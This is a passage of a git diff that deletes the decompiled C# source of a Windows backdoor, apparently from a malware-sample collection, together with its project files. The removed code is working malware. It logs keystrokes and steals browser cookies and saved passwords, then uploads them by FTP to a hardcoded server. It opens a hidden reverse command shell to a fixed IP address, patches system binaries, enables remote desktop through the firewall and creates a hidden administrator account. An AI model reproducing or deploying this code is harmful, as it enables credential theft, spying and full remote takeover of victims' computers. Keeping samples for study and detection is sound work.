(ProcessModule mainModule = currentProcess.MainModule) - return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static string TimeNow() - { - DateTime now = DateTime.Now; - return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString(); - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - Program.thkey = new Thread[128]; - if (nCode >= 0 && wParam == (IntPtr) 256) - { - int num = Marshal.ReadInt32(lParam); - if (num == 13) - { - Program.logkey += "\n"; - } - else - { - ++Program.sdosta; - ++Program.svsex; - Program.logkey = Program.logkey + (object) (Keys) num + ";"; - if (Program.sdosta == 30) - { - Program.sdosta = 0; - string time = Program.TimeNow(); - try - { - StreamWriter streamWriter = new StreamWriter("Текстовый документ" + time + ".txt"); - streamWriter.Write(Program.logkey); - streamWriter.Close(); - Program.thkey[Program.keycount] = new Thread((ThreadStart) (() => - { - if (!Program.CherezShto("Текстовый документ" + time + ".txt", "False", "True", "ГЕНЕРАТОР")) - ; - })); - Program.thkey[Program.keycount].Start(); - ++Program.keycount; - } - catch - { - } - if (Program.keycount > 120) - Program.keycount = 0; - Program.logkey = (string) null; - } - } - } - return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam); - } - - public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka) - { - try - { - foreach (string logicalDrive in Directory.GetLogicalDrives()) - Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka); - } - catch - { - } - } - - public static bool CherezShto(string strfile, string nmail, string nftp, string pftp) - { - if (nmail == "True" || nmail == "true") - Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false); - if (nftp == "True" || nmail == "true") - Program.Upload_ftp(strfile, "kot3290.aiq.ru", "u321582", "1lkm07p2", pftp); - return true; - } - - public static void CreatFileIEforXP(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("D:\\ГЕНЕРАТОР")) - System.IO.File.Delete("D:\\ГЕНЕРАТОР"); - try - { - string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\"); - string[] strArray1 = new string[directories1.Length]; - for (int index1 = 0; index1 < directories1.Length; ++index1) - { - if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService")) - { - strArray1[index1] = directories1[index1].Substring(26); - string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString()); - string[] strArray2 = new string[directories2.Length]; - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("D:\\ГЕНЕРАТОР", true, Encoding.UTF8); - for (int index2 = 0; index2 < directories2.Length; ++index2) - { - strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length); - if (strArray2[index2] == "\\Cookies") - { - string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt"); - string[] strArray3 = new string[files.Length]; - for (int index3 = 0; index3 < files.Length; ++index3) - { - strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length); - string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString(); - streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read)); - string str = path + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - break; - } - } - } - } - Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka); - } - catch - { - if (!System.IO.File.Exists("D:\\ГЕНЕРАТОР")) - return; - Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka); - } - } - - public static bool Sendmailfile( - string temp, - string user, - string ssmtp, - int sport, - string smail, - string spass, - string vmail, - bool sssl) - { - Attachment attachment = new Attachment(temp, "application/octet-stream"); - bool flag; - try - { - SmtpClient smtpClient = new SmtpClient(ssmtp, sport); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass); - smtpClient.EnableSsl = sssl; - MailMessage message = new MailMessage(); - message.From = new MailAddress(smail); - message.To.Add(new MailAddress(vmail)); - message.Subject = user; - message.Body = user; - message.Attachments.Add(attachment); - smtpClient.Send(message); - attachment.Dispose(); - flag = true; - } - catch - { - flag = false; - attachment.Dispose(); - } - return flag; - } - - private static bool Upload_ftp( - string filename, - string ftpServerIP, - string ftpUserID, - string ftpPassword, - string papka) - { - ++Program.ftpi; - FileInfo fileInfo = new FileInfo(filename); - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name)); - ftpWebRequest.Proxy = (IWebProxy) null; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword); - ftpWebRequest.KeepAlive = false; - ftpWebRequest.Method = "STOR"; - ftpWebRequest.UseBinary = true; - ftpWebRequest.ContentLength = fileInfo.Length; - int count1 = 2048; - byte[] buffer = new byte[count1]; - FileStream fileStream = fileInfo.OpenRead(); - try - { - Stream requestStream = ftpWebRequest.GetRequestStream(); - for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1)) - requestStream.Write(buffer, 0, count2); - requestStream.Close(); - fileStream.Close(); - return true; - } - catch - { - return false; - } - } - - public static void userVista( - string disk, - string n_file, - string m_send, - string smail, - string sftp, - string spapka) - { - if (m_send == "c_send") - { - try - { - string path = "C:\\Users"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka); - } - } - } - } - catch - { - } - } - } - catch - { - } - } - if (!(m_send == "p_send")) - return; - Program.SearchAll(disk, n_file, smail, sftp, spapka); - } - - public static void CreatFileIEforVista(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("D:\\ГЕНЕРАТОР")) - System.IO.File.Delete("@D:\\ГЕНЕРАТОР"); - try - { - string path = "C:\\Users"; - string searchPattern = "*.txt"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - { - foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies")) - { - try - { - DirectoryInfo directoryInfo = new DirectoryInfo(directory); - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("D:\\ГЕНЕРАТОР", true, Encoding.UTF8); - foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly)) - { - streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read)); - string str = file.FullName + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - } - catch - { - } - } - } - } - } - } - } - catch - { - } - } - Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka); - } - catch - { - } - } - - [STAThread] - private static void Main(string[] args) - { - Console.Title = args.Length != 0 ? args[0].ToString() : "Hello"; - Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0); - try - { - new Thread((ThreadStart) (() => - { - Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "wand.dat", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "*.bip", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "*.qip", "False", "True", "ГЕНЕРАТОР"); - })).Start(); - new Thread(new ThreadStart(Program.key)).Start(); - new Thread((ThreadStart) (() => Program.Backdoor())).Start(); - } - catch - { - new Thread((ThreadStart) (() => - { - Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "wand.dat", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "*.bip", "False", "True", "ГЕНЕРАТОР"); - Program.SearchAll("C:\\", "*.qip", "False", "True", "ГЕНЕРАТОР"); - })).Start(); - new Thread(new ThreadStart(Program.key)).Start(); - new Thread((ThreadStart) (() => Program.Backdoor())).Start(); - } - } - - public static void Backdoor() - { - try - { - Thread tsend = new Thread((ThreadStart) (() => - { - try - { - Program.processCmd = new Process(); - Program.processCmd.StartInfo.FileName = "cmd.exe"; - Program.processCmd.StartInfo.CreateNoWindow = true; - Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - Program.processCmd.StartInfo.UseShellExecute = false; - Program.processCmd.StartInfo.RedirectStandardOutput = true; - Program.processCmd.StartInfo.RedirectStandardInput = true; - Program.processCmd.StartInfo.RedirectStandardError = true; - Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc); - Program.processCmd.Start(); - Program.processCmd.BeginOutputReadLine(); - Program.strInput = new StringBuilder(); - try - { - while (true) - { - Program.strInput.Append(Program.streamReader.ReadLine()); - Program.strInput.Append("\n"); - Program.processCmd.StandardInput.WriteLine((object) Program.strInput); - Program.processCmd.StandardInput.Flush(); - Program.strInput.Remove(0, Program.strInput.Length); - } - } - catch (Exception ex) - { - } - } - catch - { - } - })); - new Thread((ThreadStart) (() => - { - try - { - Program.socketForServer = new TcpClient("178.126.80.5", 8080); - Program.networkStream = Program.socketForServer.GetStream(); - Program.streamReader = new StreamReader((Stream) Program.networkStream); - Program.streamWriter = new StreamWriter((Stream) Program.networkStream); - tsend.Start(); - } - catch - { - } - })).Start(); - } - catch - { - } - } - - private static void proc(object sender, DataReceivedEventArgs e) - { - StringBuilder stringBuilder = new StringBuilder(); - if (string.IsNullOrEmpty(e.Data)) - return; - try - { - stringBuilder.Append(e.Data); - Program.streamWriter.WriteLine((object) stringBuilder); - Program.streamWriter.Flush(); - } - catch - { - } - } - - public static void FileP() - { - try - { - if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache")) - { - int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length; - for (int index = 0; index < length; ++index) - { - try - { - System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]); - } - catch - { - } - } - } - if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot")) - return; - for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1) - { - for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2) - { - FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]); - try - { - Console.WriteLine(fileInfo.Name); - fileInfo.Delete(); - --index2; - } - catch - { - } - } - } - } - catch - { - } - } - - public static void RegConfig() - { - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true); - registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord); - registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord); - registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String); - registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String); - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true); - registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true); - registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true); - registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true); - registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true); - registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true); - registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true); - registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord); - registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true); - registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - } - - public static void RDP_M() - { - } - - public static void WinLogon() - { - try - { - if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe")) - return; - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp"); - FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open); - byte[] buffer = new byte[fileStream.Length]; - fileStream.Read(buffer, 0, (int) fileStream.Length); - buffer[94] = (byte) 110; - buffer[173347] = (byte) 85; - buffer[173348] = (byte) 139; - buffer[173349] = (byte) 236; - buffer[173437] = (byte) 139; - buffer[173438] = byte.MaxValue; - buffer[173439] = (byte) 85; - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create)); - binaryWriter.Write(buffer); - binaryWriter.Close(); - fileStream.Close(); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - } - else - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - } - catch - { - } - } - - public static void TermSrv() - { - string str = Program.TimeNow(); - try - { - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - } - else - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll")) - System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll"); - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - } - } - - public static void CreateUser(string UserName, string Password) - { - try - { - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer"); - DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user"); - directoryEntry2.Invoke("SetPassword", (object) Password); - directoryEntry2.CommitChanges(); - try - { - directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - try - { - directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - } - } - DirectoryEntry directoryEntry3; - try - { - directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - directoryEntry3.Close(); - directoryEntry1.Close(); - directoryEntry2.Close(); - } - catch - { - } - } - - private static void proces(string proc) - { - bool flag = true; - try - { - while (flag) - { - Application.DoEvents(); - Process[] processArray = (Process[]) null; - for (int index = 0; index < processArray.Length; ++index) - { - processArray = Process.GetProcesses(); - Thread.Sleep(20); - if (processArray[index].ProcessName == proc) - processArray[index].Kill(); - } - } - } - catch - { - } - } - - private static void key() - { - try - { - Thread.Sleep(100); - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Program._hookID = Program.SetHook(Program._proc); - Application.Run(); - Program.UnhookWindowsHookEx(Program._hookID); - } - catch - { - } - } - - private static void Screnn() - { - for (int index = 1; index <= 0; ++index) - { - Thread.Sleep(TimeSpan.FromSeconds(0.0)); - new Program.ScreenShotDll().CaptureScreen("null" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg); - } - } - - private static bool buffDlin() - { - int length = "null".Length; - return true; - } - - private static bool buffZ() - { - Program.buflyb = (string) null; - int length = "null".Length; - return true; - } - - private static bool buffCritery() => Program.buffZ(); - - private static void strBuffer() - { - bool flag = true; - while (true) - { - do - { - IDataObject dataObject; - do - { - do - { - Application.DoEvents(); - Thread.Sleep(100); - } - while (!flag); - dataObject = Clipboard.GetDataObject(); - } - while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text)); - Program.strbug = (string) dataObject.GetData(DataFormats.Text); - } - while (!flag || !Program.buffCritery()); - Clipboard.SetDataObject((object) "null"); - } - } - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - - public class ScreenShotDll - { - public void CaptureScreen(string fileName, ImageFormat imageFormat) - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - this.SaveImageAs(compatibleBitmap, fileName, imageFormat); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - } - - public Bitmap CaptureScreen() - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - Bitmap image = this.GetImage(compatibleBitmap); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - return image; - } - - private void Cleanup(int hBitmap, int hdcSrc, int hdcDest) - { - Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc); - Program.GDI32.DeleteDC(hdcDest); - Program.GDI32.DeleteObject(hBitmap); - } - - private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat); - - private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height); - } - - private class User32 - { - [DllImport("User32.dll")] - public static extern int GetDesktopWindow(); - - [DllImport("User32.dll")] - public static extern int GetWindowDC(int hWnd); - - [DllImport("User32.dll")] - public static extern int ReleaseDC(int hWnd, int hDC); - } - - private class GDI32 - { - [DllImport("GDI32.dll")] - public static extern bool BitBlt( - int hdcDest, - int nXDest, - int nYDest, - int nWidth, - int nHeight, - int hdcSrc, - int nXSrc, - int nYSrc, - int dwRop); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteObject(int hObject); - - [DllImport("GDI32.dll")] - public static extern int GetDeviceCaps(int hdc, int nIndex); - - [DllImport("GDI32.dll")] - public static extern int SelectObject(int hdc, int hgdiobj); - } - } -} diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.csproj deleted file mode 100644 index 76f6506e..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {30591E33-8F94-4DBC-9520-078760AF0420} - Exe - 1 - 0.0.0.0 - Troj - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.sln deleted file mode 100644 index 90d38ecd..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Backdoor.MSIL.VKont.wn.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "1", "Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f.csproj", "{30591E33-8F94-4DBC-9520-078760AF0420}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {30591E33-8F94-4DBC-9520-078760AF0420}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {30591E33-8F94-4DBC-9520-078760AF0420}.Debug|Any CPU.Build.0 = Debug|Any CPU - {30591E33-8F94-4DBC-9520-078760AF0420}.Release|Any CPU.ActiveCfg = Release|Any CPU - {30591E33-8F94-4DBC-9520-078760AF0420}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git 